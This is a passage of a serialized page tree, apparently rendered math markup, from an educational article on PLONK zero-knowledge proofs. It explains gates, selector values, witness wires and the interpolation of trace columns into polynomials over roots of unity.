",{"type":23,"tag":37,"props":141754,"children":141756},{"className":141755},[3984,3985],[141757],{"type":23,"tag":41,"props":141758,"children":141760},{"className":141759},[3990],[141761],{"type":23,"tag":41,"props":141762,"children":141764},{"className":141763,"ariaHidden":3996},[3995],[141765,141827,141889],{"type":23,"tag":41,"props":141766,"children":141768},{"className":141767},[4001],[141769,141773,141814,141818,141823],{"type":23,"tag":41,"props":141770,"children":141772},{"className":141771,"style":123102},[4006],[],{"type":23,"tag":41,"props":141774,"children":141776},{"className":141775},[4012],[141777,141782],{"type":23,"tag":41,"props":141778,"children":141780},{"className":141779,"style":93251},[4012,21574],[141781],{"type":28,"value":3114},{"type":23,"tag":41,"props":141783,"children":141785},{"className":141784},[4028],[141786],{"type":23,"tag":41,"props":141787,"children":141789},{"className":141788},[4033],[141790],{"type":23,"tag":41,"props":141791,"children":141793},{"className":141792},[4038],[141794],{"type":23,"tag":41,"props":141795,"children":141797},{"className":141796,"style":4007},[4043],[141798],{"type":23,"tag":41,"props":141799,"children":141800},{"style":4047},[141801,141805],{"type":23,"tag":41,"props":141802,"children":141804},{"className":141803,"style":4053},[4052],[],{"type":23,"tag":41,"props":141806,"children":141808},{"className":141807},[4058,4059,4060,4061],[141809],{"type":23,"tag":41,"props":141810,"children":141812},{"className":141811},[4012,4061],[141813],{"type":28,"value":3123},{"type":23,"tag":41,"props":141815,"children":141817},{"className":141816,"style":4190},[4092],[],{"type":23,"tag":41,"props":141819,"children":141821},{"className":141820},[4195],[141822],{"type":28,"value":2381},{"type":23,"tag":41,"props":141824,"children":141826},{"className":141825,"style":4190},[4092],[],{"type":23,"tag":41,"props":141828,"children":141830},{"className":141829},[4001],[141831,141835,141876,141880,141885],{"type":23,"tag":41,"props":141832,"children":141834},{"className":141833,"style":122977},[4006],[],{"type":23,"tag":41,"props":141836,"children":141838},{"className":141837},[4012],[141839,141844],{"type":23,"tag":41,"props":141840,"children":141842},{"className":141841},[4012,21574],[141843],{"type":28,"value":19263},{"type":23,"tag":41,"props":141845,"children":141847},{"className":141846},[4028],[141848],{"type":23,"tag":41,"props":141849,"children":141851},{"className":141850},[4033],[141852],{"type":23,"tag":41,"props":141853,"children":141855},{"className":141854},[4038],[141856],{"type":23,"tag":41,"props":141857,"children":141859},{"className":141858,"style":4007},[4043],[141860],{"type":23,"tag":41,"props":141861,"children":141862},{"style":4047},[141863,141867],{"type":23,"tag":41,"props":141864,"children":141866},{"className":141865,"style":4053},[4052],[],{"type":23,"tag":41,"props":141868,"children":141870},{"className":141869},[4058,4059,4060,4061],[141871],{"type":23,"tag":41,"props":141872,"children":141874},{"className":141873},[4012,4061],[141875],{"type":28,"value":17282},{"type":23,"tag":41,"props":141877,"children":141879},{"className":141878,"style":4093},[4092],[],{"type":23,"tag":41,"props":141881,"children":141883},{"className":141882},[4098],[141884],{"type":28,"value":4383},{"type":23,"tag":41,"props":141886,"children":141888},{"className":141887,"style":4093},[4092],[],{"type":23,"tag":41,"props":141890,"children":141892},{"className":141891},[4001],[141893,141897],{"type":23,"tag":41,"props":141894,"children":141896},{"className":141895,"style":93796},[4006],[],{"type":23,"tag":41,"props":141898,"children":141900},{"className":141899},[4012],[141901],{"type":28,"value":54666},{"type":28,"value":141903},", here in ",{"type":23,"tag":37,"props":141905,"children":141907},{"className":141906},[3984,3985],[141908],{"type":23,"tag":41,"props":141909,"children":141911},{"className":141910},[3990],[141912],{"type":23,"tag":41,"props":141913,"children":141915},{"className":141914,"ariaHidden":3996},[3995],[141916],{"type":23,"tag":41,"props":141917,"children":141919},{"className":141918},[4001],[141920,141925],{"type":23,"tag":41,"props":141921,"children":141924},{"className":141922,"style":141923},[4006],"height:0.8389em;vertical-align:-0.15em;",[],{"type":23,"tag":41,"props":141926,"children":141928},{"className":141927},[4012],[141929,141934],{"type":23,"tag":41,"props":141930,"children":141932},{"className":141931},[4012,121540],[141933],{"type":28,"value":121543},{"type":23,"tag":41,"props":141935,"children":141937},{"className":141936},[4028],[141938],{"type":23,"tag":41,"props":141939,"children":141941},{"className":141940},[4033,21628],[141942,141976],{"type":23,"tag":41,"props":141943,"children":141945},{"className":141944},[4038],[141946,141971],{"type":23,"tag":41,"props":141947,"children":141949},{"className":141948,"style":92817},[4043],[141950],{"type":23,"tag":41,"props":141951,"children":141952},{"style":92821},[141953,141957],{"type":23,"tag":41,"props":141954,"children":141956},{"className":141955,"style":4053},[4052],[],{"type":23,"tag":41,"props":141958,"children":141960},{"className":141959},[4058,4059,4060,4061],[141961],{"type":23,"tag":41,"props":141962,"children":141964},{"className":141963},[4012,4061],[141965],{"type":23,"tag":41,"props":141966,"children":141968},{"className":141967},[4012,4061],[141969],{"type":28,"value":141970},"37",{"type":23,"tag":41,"props":141972,"children":141974},{"className":141973},[21731],[141975],{"type":28,"value":21734},{"type":23,"tag":41,"props":141977,"children":141979},{"className":141978},[4038],[141980],{"type":23,"tag":41,"props":141981,"children":141983},{"className":141982,"style":92848},[4043],[141984],{"type":23,"tag":41,"props":141985,"children":141986},{},[],{"type":28,"value":706},{"type":23,"tag":141989,"props":141990,"children":141991},"arithmetic-circuit-widget",{},[],{"type":23,"tag":24,"props":141993,"children":141994},{},[141995,141997,142023,142025,142104,142106,142183,142185,142262],{"type":28,"value":141996},"Each gate ",{"type":23,"tag":37,"props":141998,"children":142000},{"className":141999},[3984,3985],[142001],{"type":23,"tag":41,"props":142002,"children":142004},{"className":142003},[3990],[142005],{"type":23,"tag":41,"props":142006,"children":142008},{"className":142007,"ariaHidden":3996},[3995],[142009],{"type":23,"tag":41,"props":142010,"children":142012},{"className":142011},[4001],[142013,142018],{"type":23,"tag":41,"props":142014,"children":142017},{"className":142015,"style":142016},[4006],"height:0.6595em;",[],{"type":23,"tag":41,"props":142019,"children":142021},{"className":142020},[4012,21574],[142022],{"type":28,"value":3737},{"type":28,"value":142024}," has a left input ",{"type":23,"tag":37,"props":142026,"children":142028},{"className":142027},[3984,3985],[142029],{"type":23,"tag":41,"props":142030,"children":142032},{"className":142031},[3990],[142033],{"type":23,"tag":41,"props":142034,"children":142036},{"className":142035,"ariaHidden":3996},[3995],[142037],{"type":23,"tag":41,"props":142038,"children":142040},{"className":142039},[4001],[142041,142046],{"type":23,"tag":41,"props":142042,"children":142045},{"className":142043,"style":142044},[4006],"height:0.8444em;vertical-align:-0.15em;",[],{"type":23,"tag":41,"props":142047,"children":142049},{"className":142048},[4012],[142050,142055],{"type":23,"tag":41,"props":142051,"children":142053},{"className":142052,"style":92777},[4012,21574],[142054],{"type":28,"value":92780},{"type":23,"tag":41,"props":142056,"children":142058},{"className":142057},[4028],[142059],{"type":23,"tag":41,"props":142060,"children":142062},{"className":142061},[4033,21628],[142063,142093],{"type":23,"tag":41,"props":142064,"children":142066},{"className":142065},[4038],[142067,142088],{"type":23,"tag":41,"props":142068,"children":142070},{"className":142069,"style":93294},[4043],[142071],{"type":23,"tag":41,"props":142072,"children":142074},{"style":142073},"top:-2.55em;margin-left:-0.0197em;margin-right:0.05em;",[142075,142079],{"type":23,"tag":41,"props":142076,"children":142078},{"className":142077,"style":4053},[4052],[],{"type":23,"tag":41,"props":142080,"children":142082},{"className":142081},[4058,4059,4060,4061],[142083],{"type":23,"tag":41,"props":142084,"children":142086},{"className":142085},[4012,21574,4061],[142087],{"type":28,"value":3737},{"type":23,"tag":41,"props":142089,"children":142091},{"className":142090},[21731],[142092],{"type":28,"value":21734},{"type":23,"tag":41,"props":142094,"children":142096},{"className":142095},[4038],[142097],{"type":23,"tag":41,"props":142098,"children":142100},{"className":142099,"style":92848},[4043],[142101],{"type":23,"tag":41,"props":142102,"children":142103},{},[],{"type":28,"value":142105},", right input ",{"type":23,"tag":37,"props":142107,"children":142109},{"className":142108},[3984,3985],[142110],{"type":23,"tag":41,"props":142111,"children":142113},{"className":142112},[3990],[142114],{"type":23,"tag":41,"props":142115,"children":142117},{"className":142116,"ariaHidden":3996},[3995],[142118],{"type":23,"tag":41,"props":142119,"children":142121},{"className":142120},[4001],[142122,142126],{"type":23,"tag":41,"props":142123,"children":142125},{"className":142124,"style":109735},[4006],[],{"type":23,"tag":41,"props":142127,"children":142129},{"className":142128},[4012],[142130,142135],{"type":23,"tag":41,"props":142131,"children":142133},{"className":142132,"style":92765},[4012,21574],[142134],{"type":28,"value":93584},{"type":23,"tag":41,"props":142136,"children":142138},{"className":142137},[4028],[142139],{"type":23,"tag":41,"props":142140,"children":142142},{"className":142141},[4033,21628],[142143,142172],{"type":23,"tag":41,"props":142144,"children":142146},{"className":142145},[4038],[142147,142167],{"type":23,"tag":41,"props":142148,"children":142150},{"className":142149,"style":93294},[4043],[142151],{"type":23,"tag":41,"props":142152,"children":142153},{"style":109764},[142154,142158],{"type":23,"tag":41,"props":142155,"children":142157},{"className":142156,"style":4053},[4052],[],{"type":23,"tag":41,"props":142159,"children":142161},{"className":142160},[4058,4059,4060,4061],[142162],{"type":23,"tag":41,"props":142163,"children":142165},{"className":142164},[4012,21574,4061],[142166],{"type":28,"value":3737},{"type":23,"tag":41,"props":142168,"children":142170},{"className":142169},[21731],[142171],{"type":28,"value":21734},{"type":23,"tag":41,"props":142173,"children":142175},{"className":142174},[4038],[142176],{"type":23,"tag":41,"props":142177,"children":142179},{"className":142178,"style":92848},[4043],[142180],{"type":23,"tag":41,"props":142181,"children":142182},{},[],{"type":28,"value":142184},", and output ",{"type":23,"tag":37,"props":142186,"children":142188},{"className":142187},[3984,3985],[142189],{"type":23,"tag":41,"props":142190,"children":142192},{"className":142191},[3990],[142193],{"type":23,"tag":41,"props":142194,"children":142196},{"className":142195,"ariaHidden":3996},[3995],[142197],{"type":23,"tag":41,"props":142198,"children":142200},{"className":142199},[4001],[142201,142205],{"type":23,"tag":41,"props":142202,"children":142204},{"className":142203,"style":109735},[4006],[],{"type":23,"tag":41,"props":142206,"children":142208},{"className":142207},[4012],[142209,142214],{"type":23,"tag":41,"props":142210,"children":142212},{"className":142211},[4012,21574],[142213],{"type":28,"value":92735},{"type":23,"tag":41,"props":142215,"children":142217},{"className":142216},[4028],[142218],{"type":23,"tag":41,"props":142219,"children":142221},{"className":142220},[4033,21628],[142222,142251],{"type":23,"tag":41,"props":142223,"children":142225},{"className":142224},[4038],[142226,142246],{"type":23,"tag":41,"props":142227,"children":142229},{"className":142228,"style":93294},[4043],[142230],{"type":23,"tag":41,"props":142231,"children":142232},{"style":92821},[142233,142237],{"type":23,"tag":41,"props":142234,"children":142236},{"className":142235,"style":4053},[4052],[],{"type":23,"tag":41,"props":142238,"children":142240},{"className":142239},[4058,4059,4060,4061],[142241],{"type":23,"tag":41,"props":142242,"children":142244},{"className":142243},[4012,21574,4061],[142245],{"type":28,"value":3737},{"type":23,"tag":41,"props":142247,"children":142249},{"className":142248},[21731],[142250],{"type":28,"value":21734},{"type":23,"tag":41,"props":142252,"children":142254},{"className":142253},[4038],[142255],{"type":23,"tag":41,"props":142256,"children":142258},{"className":142257,"style":92848},[4043],[142259],{"type":23,"tag":41,"props":142260,"children":142261},{},[],{"type":28,"value":142263},". The prover's job is to show it knows wire values that satisfy every gate.",{"type":23,"tag":24,"props":142265,"children":142266},{},[142267,142269,142274,142276,142380,142382,142485,142487,142492],{"type":28,"value":142268},"Each gate imposes a constraint, and PLONK unifies all gate types into one expression using ",{"type":23,"tag":2913,"props":142270,"children":142271},{},[142272],{"type":28,"value":142273},"selector",{"type":28,"value":142275}," values that act as switches: setting ",{"type":23,"tag":37,"props":142277,"children":142279},{"className":142278},[3984,3985],[142280],{"type":23,"tag":41,"props":142281,"children":142283},{"className":142282},[3990],[142284],{"type":23,"tag":41,"props":142285,"children":142287},{"className":142286,"ariaHidden":3996},[3995],[142288,142367],{"type":23,"tag":41,"props":142289,"children":142291},{"className":142290},[4001],[142292,142296,142354,142358,142363],{"type":23,"tag":41,"props":142293,"children":142295},{"className":142294,"style":109655},[4006],[],{"type":23,"tag":41,"props":142297,"children":142299},{"className":142298},[4012],[142300,142305],{"type":23,"tag":41,"props":142301,"children":142303},{"className":142302,"style":93251},[4012,21574],[142304],{"type":28,"value":93254},{"type":23,"tag":41,"props":142306,"children":142308},{"className":142307},[4028],[142309],{"type":23,"tag":41,"props":142310,"children":142312},{"className":142311},[4033,21628],[142313,142343],{"type":23,"tag":41,"props":142314,"children":142316},{"className":142315},[4038],[142317,142338],{"type":23,"tag":41,"props":142318,"children":142321},{"className":142319,"style":142320},[4043],"height:0.3283em;",[142322],{"type":23,"tag":41,"props":142323,"children":142324},{"style":93298},[142325,142329],{"type":23,"tag":41,"props":142326,"children":142328},{"className":142327,"style":4053},[4052],[],{"type":23,"tag":41,"props":142330,"children":142332},{"className":142331},[4058,4059,4060,4061],[142333],{"type":23,"tag":41,"props":142334,"children":142336},{"className":142335,"style":94773},[4012,21574,4061],[142337],{"type":28,"value":94776},{"type":23,"tag":41,"props":142339,"children":142341},{"className":142340},[21731],[142342],{"type":28,"value":21734},{"type":23,"tag":41,"props":142344,"children":142346},{"className":142345},[4038],[142347],{"type":23,"tag":41,"props":142348,"children":142350},{"className":142349,"style":92848},[4043],[142351],{"type":23,"tag":41,"props":142352,"children":142353},{},[],{"type":23,"tag":41,"props":142355,"children":142357},{"className":142356,"style":4190},[4092],[],{"type":23,"tag":41,"props":142359,"children":142361},{"className":142360},[4195],[142362],{"type":28,"value":2381},{"type":23,"tag":41,"props":142364,"children":142366},{"className":142365,"style":4190},[4092],[],{"type":23,"tag":41,"props":142368,"children":142370},{"className":142369},[4001],[142371,142375],{"type":23,"tag":41,"props":142372,"children":142374},{"className":142373,"style":93796},[4006],[],{"type":23,"tag":41,"props":142376,"children":142378},{"className":142377},[4012],[142379],{"type":28,"value":317},{"type":28,"value":142381}," makes a row a multiplication gate, setting ",{"type":23,"tag":37,"props":142383,"children":142385},{"className":142384},[3984,3985],[142386],{"type":23,"tag":41,"props":142387,"children":142389},{"className":142388},[3990],[142390],{"type":23,"tag":41,"props":142391,"children":142393},{"className":142392,"ariaHidden":3996},[3995],[142394,142472],{"type":23,"tag":41,"props":142395,"children":142397},{"className":142396},[4001],[142398,142402,142459,142463,142468],{"type":23,"tag":41,"props":142399,"children":142401},{"className":142400,"style":109655},[4006],[],{"type":23,"tag":41,"props":142403,"children":142405},{"className":142404},[4012],[142406,142411],{"type":23,"tag":41,"props":142407,"children":142409},{"className":142408,"style":93251},[4012,21574],[142410],{"type":28,"value":93254},{"type":23,"tag":41,"props":142412,"children":142414},{"className":142413},[4028],[142415],{"type":23,"tag":41,"props":142416,"children":142418},{"className":142417},[4033,21628],[142419,142448],{"type":23,"tag":41,"props":142420,"children":142422},{"className":142421},[4038],[142423,142443],{"type":23,"tag":41,"props":142424,"children":142426},{"className":142425,"style":142320},[4043],[142427],{"type":23,"tag":41,"props":142428,"children":142429},{"style":93298},[142430,142434],{"type":23,"tag":41,"props":142431,"children":142433},{"className":142432,"style":4053},[4052],[],{"type":23,"tag":41,"props":142435,"children":142437},{"className":142436},[4058,4059,4060,4061],[142438],{"type":23,"tag":41,"props":142439,"children":142441},{"className":142440},[4012,21574,4061],[142442],{"type":28,"value":117729},{"type":23,"tag":41,"props":142444,"children":142446},{"className":142445},[21731],[142447],{"type":28,"value":21734},{"type":23,"tag":41,"props":142449,"children":142451},{"className":142450},[4038],[142452],{"type":23,"tag":41,"props":142453,"children":142455},{"className":142454,"style":92848},[4043],[142456],{"type":23,"tag":41,"props":142457,"children":142458},{},[],{"type":23,"tag":41,"props":142460,"children":142462},{"className":142461,"style":4190},[4092],[],{"type":23,"tag":41,"props":142464,"children":142466},{"className":142465},[4195],[142467],{"type":28,"value":2381},{"type":23,"tag":41,"props":142469,"children":142471},{"className":142470,"style":4190},[4092],[],{"type":23,"tag":41,"props":142473,"children":142475},{"className":142474},[4001],[142476,142480],{"type":23,"tag":41,"props":142477,"children":142479},{"className":142478,"style":93796},[4006],[],{"type":23,"tag":41,"props":142481,"children":142483},{"className":142482},[4012],[142484],{"type":28,"value":317},{"type":28,"value":142486}," makes it contribute an addition term, and so on. The selector values define the circuit's shape and are public, known to both prover and verifier, while the wire values are the prover's secret witness. This per-row check does not ensure that wires between gates are consistent (that the output of one gate equals the input of the next); PLONK uses a separate ",{"type":23,"tag":2913,"props":142488,"children":142489},{},[142490],{"type":28,"value":142491},"permutation argument",{"type":28,"value":142493}," for that, which we will not cover here.",{"type":23,"tag":546,"props":142495,"children":142497},{"id":142496},"from-many-checks-to-one",[142498],{"type":28,"value":142499},"From many checks to one",{"type":23,"tag":24,"props":142501,"children":142502},{},[142503,142505,142510,142511,142603,142604,142696,142697,142789,142791,142796,142797,142889,142890,142982,142984,143009,143011,143036,143038,143130,143132,143157,143159,143184],{"type":28,"value":142504},"Instead of checking each gate individually, PLONK reads the execution trace column by column and uses FFT interpolation to convert each array of values to a single polynomial. The wire values become ",{"type":23,"tag":2913,"props":142506,"children":142507},{},[142508],{"type":28,"value":142509},"witness polynomials",{"type":28,"value":6456},{"type":23,"tag":37,"props":142512,"children":142514},{"className":142513},[3984,3985],[142515],{"type":23,"tag":41,"props":142516,"children":142518},{"className":142517},[3990],[142519],{"type":23,"tag":41,"props":142520,"children":142522},{"className":142521,"ariaHidden":3996},[3995],[142523],{"type":23,"tag":41,"props":142524,"children":142526},{"className":142525},[4001],[142527,142531,142588,142593,142598],{"type":23,"tag":41,"props":142528,"children":142530},{"className":142529,"style":4113},[4006],[],{"type":23,"tag":41,"props":142532,"children":142534},{"className":142533},[4012],[142535,142540],{"type":23,"tag":41,"props":142536,"children":142538},{"className":142537,"style":95119},[4012,21574],[142539],{"type":28,"value":33078},{"type":23,"tag":41,"props":142541,"children":142543},{"className":142542},[4028],[142544],{"type":23,"tag":41,"props":142545,"children":142547},{"className":142546},[4033,21628],[142548,142577],{"type":23,"tag":41,"props":142549,"children":142551},{"className":142550},[4038],[142552,142572],{"type":23,"tag":41,"props":142553,"children":142555},{"className":142554,"style":142320},[4043],[142556],{"type":23,"tag":41,"props":142557,"children":142558},{"style":95140},[142559,142563],{"type":23,"tag":41,"props":142560,"children":142562},{"className":142561,"style":4053},[4052],[],{"type":23,"tag":41,"props":142564,"children":142566},{"className":142565},[4058,4059,4060,4061],[142567],{"type":23,"tag":41,"props":142568,"children":142570},{"className":142569},[4012,21574,4061],[142571],{"type":28,"value":117729},{"type":23,"tag":41,"props":142573,"children":142575},{"className":142574},[21731],[142576],{"type":28,"value":21734},{"type":23,"tag":41,"props":142578,"children":142580},{"className":142579},[4038],[142581],{"type":23,"tag":41,"props":142582,"children":142584},{"className":142583,"style":92848},[4043],[142585],{"type":23,"tag":41,"props":142586,"children":142587},{},[],{"type":23,"tag":41,"props":142589,"children":142591},{"className":142590},[21703],[142592],{"type":28,"value":1737},{"type":23,"tag":41,"props":142594,"children":142596},{"className":142595},[4012,21574],[142597],{"type":28,"value":19263},{"type":23,"tag":41,"props":142599,"children":142601},{"className":142600},[21725],[142602],{"type":28,"value":2678},{"type":28,"value":970},{"type":23,"tag":37,"props":142605,"children":142607},{"className":142606},[3984,3985],[142608],{"type":23,"tag":41,"props":142609,"children":142611},{"className":142610},[3990],[142612],{"type":23,"tag":41,"props":142613,"children":142615},{"className":142614,"ariaHidden":3996},[3995],[142616],{"type":23,"tag":41,"props":142617,"children":142619},{"className":142618},[4001],[142620,142624,142681,142686,142691],{"type":23,"tag":41,"props":142621,"children":142623},{"className":142622,"style":4113},[4006],[],{"type":23,"tag":41,"props":142625,"children":142627},{"className":142626},[4012],[142628,142633],{"type":23,"tag":41,"props":142629,"children":142631},{"className":142630,"style":95119},[4012,21574],[142632],{"type":28,"value":33078},{"type":23,"tag":41,"props":142634,"children":142636},{"className":142635},[4028],[142637],{"type":23,"tag":41,"props":142638,"children":142640},{"className":142639},[4033,21628],[142641,142670],{"type":23,"tag":41,"props":142642,"children":142644},{"className":142643},[4038],[142645,142665],{"type":23,"tag":41,"props":142646,"children":142648},{"className":142647,"style":142320},[4043],[142649],{"type":23,"tag":41,"props":142650,"children":142651},{"style":95140},[142652,142656],{"type":23,"tag":41,"props":142653,"children":142655},{"className":142654,"style":4053},[4052],[],{"type":23,"tag":41,"props":142657,"children":142659},{"className":142658},[4058,4059,4060,4061],[142660],{"type":23,"tag":41,"props":142661,"children":142663},{"className":142662,"style":122542},[4012,21574,4061],[142664],{"type":28,"value":122545},{"type":23,"tag":41,"props":142666,"children":142668},{"className":142667},[21731],[142669],{"type":28,"value":21734},{"type":23,"tag":41,"props":142671,"children":142673},{"className":142672},[4038],[142674],{"type":23,"tag":41,"props":142675,"children":142677},{"className":142676,"style":92848},[4043],[142678],{"type":23,"tag":41,"props":142679,"children":142680},{},[],{"type":23,"tag":41,"props":142682,"children":142684},{"className":142683},[21703],[142685],{"type":28,"value":1737},{"type":23,"tag":41,"props":142687,"children":142689},{"className":142688},[4012,21574],[142690],{"type":28,"value":19263},{"type":23,"tag":41,"props":142692,"children":142694},{"className":142693},[21725],[142695],{"type":28,"value":2678},{"type":28,"value":970},{"type":23,"tag":37,"props":142698,"children":142700},{"className":142699},[3984,3985],[142701],{"type":23,"tag":41,"props":142702,"children":142704},{"className":142703},[3990],[142705],{"type":23,"tag":41,"props":142706,"children":142708},{"className":142707,"ariaHidden":3996},[3995],[142709],{"type":23,"tag":41,"props":142710,"children":142712},{"className":142711},[4001],[142713,142717,142774,142779,142784],{"type":23,"tag":41,"props":142714,"children":142716},{"className":142715,"style":4113},[4006],[],{"type":23,"tag":41,"props":142718,"children":142720},{"className":142719},[4012],[142721,142726],{"type":23,"tag":41,"props":142722,"children":142724},{"className":142723,"style":95119},[4012,21574],[142725],{"type":28,"value":33078},{"type":23,"tag":41,"props":142727,"children":142729},{"className":142728},[4028],[142730],{"type":23,"tag":41,"props":142731,"children":142733},{"className":142732},[4033,21628],[142734,142763],{"type":23,"tag":41,"props":142735,"children":142737},{"className":142736},[4038],[142738,142758],{"type":23,"tag":41,"props":142739,"children":142741},{"className":142740,"style":142320},[4043],[142742],{"type":23,"tag":41,"props":142743,"children":142744},{"style":95140},[142745,142749],{"type":23,"tag":41,"props":142746,"children":142748},{"className":142747,"style":4053},[4052],[],{"type":23,"tag":41,"props":142750,"children":142752},{"className":142751},[4058,4059,4060,4061],[142753],{"type":23,"tag":41,"props":142754,"children":142756},{"className":142755,"style":92765},[4012,21574,4061],[142757],{"type":28,"value":115084},{"type":23,"tag":41,"props":142759,"children":142761},{"className":142760},[21731],[142762],{"type":28,"value":21734},{"type":23,"tag":41,"props":142764,"children":142766},{"className":142765},[4038],[142767],{"type":23,"tag":41,"props":142768,"children":142770},{"className":142769,"style":92848},[4043],[142771],{"type":23,"tag":41,"props":142772,"children":142773},{},[],{"type":23,"tag":41,"props":142775,"children":142777},{"className":142776},[21703],[142778],{"type":28,"value":1737},{"type":23,"tag":41,"props":142780,"children":142782},{"className":142781},[4012,21574],[142783],{"type":28,"value":19263},{"type":23,"tag":41,"props":142785,"children":142787},{"className":142786},[21725],[142788],{"type":28,"value":2678},{"type":28,"value":142790}," and the selectors become ",{"type":23,"tag":2913,"props":142792,"children":142793},{},[142794],{"type":28,"value":142795},"selector polynomials",{"type":28,"value":6456},{"type":23,"tag":37,"props":142798,"children":142800},{"className":142799},[3984,3985],[142801],{"type":23,"tag":41,"props":142802,"children":142804},{"className":142803},[3990],[142805],{"type":23,"tag":41,"props":142806,"children":142808},{"className":142807,"ariaHidden":3996},[3995],[142809],{"type":23,"tag":41,"props":142810,"children":142812},{"className":142811},[4001],[142813,142817,142874,142879,142884],{"type":23,"tag":41,"props":142814,"children":142816},{"className":142815,"style":4113},[4006],[],{"type":23,"tag":41,"props":142818,"children":142820},{"className":142819},[4012],[142821,142826],{"type":23,"tag":41,"props":142822,"children":142824},{"className":142823},[4012,21574],[142825],{"type":28,"value":76797},{"type":23,"tag":41,"props":142827,"children":142829},{"className":142828},[4028],[142830],{"type":23,"tag":41,"props":142831,"children":142833},{"className":142832},[4033,21628],[142834,142863],{"type":23,"tag":41,"props":142835,"children":142837},{"className":142836},[4038],[142838,142858],{"type":23,"tag":41,"props":142839,"children":142841},{"className":142840,"style":142320},[4043],[142842],{"type":23,"tag":41,"props":142843,"children":142844},{"style":92821},[142845,142849],{"type":23,"tag":41,"props":142846,"children":142848},{"className":142847,"style":4053},[4052],[],{"type":23,"tag":41,"props":142850,"children":142852},{"className":142851},[4058,4059,4060,4061],[142853],{"type":23,"tag":41,"props":142854,"children":142856},{"className":142855,"style":94773},[4012,21574,4061],[142857],{"type":28,"value":94776},{"type":23,"tag":41,"props":142859,"children":142861},{"className":142860},[21731],[142862],{"type":28,"value":21734},{"type":23,"tag":41,"props":142864,"children":142866},{"className":142865},[4038],[142867],{"type":23,"tag":41,"props":142868,"children":142870},{"className":142869,"style":92848},[4043],[142871],{"type":23,"tag":41,"props":142872,"children":142873},{},[],{"type":23,"tag":41,"props":142875,"children":142877},{"className":142876},[21703],[142878],{"type":28,"value":1737},{"type":23,"tag":41,"props":142880,"children":142882},{"className":142881},[4012,21574],[142883],{"type":28,"value":19263},{"type":23,"tag":41,"props":142885,"children":142887},{"className":142886},[21725],[142888],{"type":28,"value":2678},{"type":28,"value":970},{"type":23,"tag":37,"props":142891,"children":142893},{"className":142892},[3984,3985],[142894],{"type":23,"tag":41,"props":142895,"children":142897},{"className":142896},[3990],[142898],{"type":23,"tag":41,"props":142899,"children":142901},{"className":142900,"ariaHidden":3996},[3995],[142902],{"type":23,"tag":41,"props":142903,"children":142905},{"className":142904},[4001],[142906,142910,142967,142972,142977],{"type":23,"tag":41,"props":142907,"children":142909},{"className":142908,"style":4113},[4006],[],{"type":23,"tag":41,"props":142911,"children":142913},{"className":142912},[4012],[142914,142919],{"type":23,"tag":41,"props":142915,"children":142917},{"className":142916},[4012,21574],[142918],{"type":28,"value":76797},{"type":23,"tag":41,"props":142920,"children":142922},{"className":142921},[4028],[142923],{"type":23,"tag":41,"props":142924,"children":142926},{"className":142925},[4033,21628],[142927,142956],{"type":23,"tag":41,"props":142928,"children":142930},{"className":142929},[4038],[142931,142951],{"type":23,"tag":41,"props":142932,"children":142934},{"className":142933,"style":142320},[4043],[142935],{"type":23,"tag":41,"props":142936,"children":142937},{"style":92821},[142938,142942],{"type":23,"tag":41,"props":142939,"children":142941},{"className":142940,"style":4053},[4052],[],{"type":23,"tag":41,"props":142943,"children":142945},{"className":142944},[4058,4059,4060,4061],[142946],{"type":23,"tag":41,"props":142947,"children":142949},{"className":142948},[4012,21574,4061],[142950],{"type":28,"value":117729},{"type":23,"tag":41,"props":142952,"children":142954},{"className":142953},[21731],[142955],{"type":28,"value":21734},{"type":23,"tag":41,"props":142957,"children":142959},{"className":142958},[4038],[142960],{"type":23,"tag":41,"props":142961,"children":142963},{"className":142962,"style":92848},[4043],[142964],{"type":23,"tag":41,"props":142965,"children":142966},{},[],{"type":23,"tag":41,"props":142968,"children":142970},{"className":142969},[21703],[142971],{"type":28,"value":1737},{"type":23,"tag":41,"props":142973,"children":142975},{"className":142974},[4012,21574],[142976],{"type":28,"value":19263},{"type":23,"tag":41,"props":142978,"children":142980},{"className":142979},[21725],[142981],{"type":28,"value":2678},{"type":28,"value":142983},", etc., all interpolated over a domain ",{"type":23,"tag":37,"props":142985,"children":142987},{"className":142986},[3984,3985],[142988],{"type":23,"tag":41,"props":142989,"children":142991},{"className":142990},[3990],[142992],{"type":23,"tag":41,"props":142993,"children":142995},{"className":142994,"ariaHidden":3996},[3995],[142996],{"type":23,"tag":41,"props":142997,"children":142999},{"className":142998},[4001],[143000,143004],{"type":23,"tag":41,"props":143001,"children":143003},{"className":143002,"style":21569},[4006],[],{"type":23,"tag":41,"props":143005,"children":143007},{"className":143006,"style":92999},[4012,21574],[143008],{"type":28,"value":93002},{"type":28,"value":143010}," of ",{"type":23,"tag":37,"props":143012,"children":143014},{"className":143013},[3984,3985],[143015],{"type":23,"tag":41,"props":143016,"children":143018},{"className":143017},[3990],[143019],{"type":23,"tag":41,"props":143020,"children":143022},{"className":143021,"ariaHidden":3996},[3995],[143023],{"type":23,"tag":41,"props":143024,"children":143026},{"className":143025},[4001],[143027,143031],{"type":23,"tag":41,"props":143028,"children":143030},{"className":143029,"style":110606},[4006],[],{"type":23,"tag":41,"props":143032,"children":143034},{"className":143033},[4012,21574],[143035],{"type":28,"value":56399},{"type":28,"value":143037},"-th roots of unity. Evaluating ",{"type":23,"tag":37,"props":143039,"children":143041},{"className":143040},[3984,3985],[143042],{"type":23,"tag":41,"props":143043,"children":143045},{"className":143044},[3990],[143046],{"type":23,"tag":41,"props":143047,"children":143049},{"className":143048,"ariaHidden":3996},[3995],[143050],{"type":23,"tag":41,"props":143051,"children":143053},{"className":143052},[4001],[143054,143058,143115,143120,143125],{"type":23,"tag":41,"props":143055,"children":143057},{"className":143056,"style":4113},[4006],[],{"type":23,"tag":41,"props":143059,"children":143061},{"className":143060},[4012],[143062,143067],{"type":23,"tag":41,"props":143063,"children":143065},{"className":143064,"style":95119},[4012,21574],[143066],{"type":28,"value":33078},{"type":23,"tag":41,"props":143068,"children":143070},{"className":143069},[4028],[143071],{"type":23,"tag":41,"props":143072,"children":143074},{"className":143073},[4033,21628],[143075,143104],{"type":23,"tag":41,"props":143076,"children":143078},{"className":143077},[4038],[143079,143099],{"type":23,"tag":41,"props":143080,"children":143082},{"className":143081,"style":142320},[4043],[143083],{"type":23,"tag":41,"props":143084,"children":143085},{"style":95140},[143086,143090],{"type":23,"tag":41,"props":143087,"children":143089},{"className":143088,"style":4053},[4052],[],{"type":23,"tag":41,"props":143091,"children":143093},{"className":143092},[4058,4059,4060,4061],[143094],{"type":23,"tag":41,"props":143095,"children":143097},{"className":143096},[4012,21574,4061],[143098],{"type":28,"value":117729},{"type":23,"tag":41,"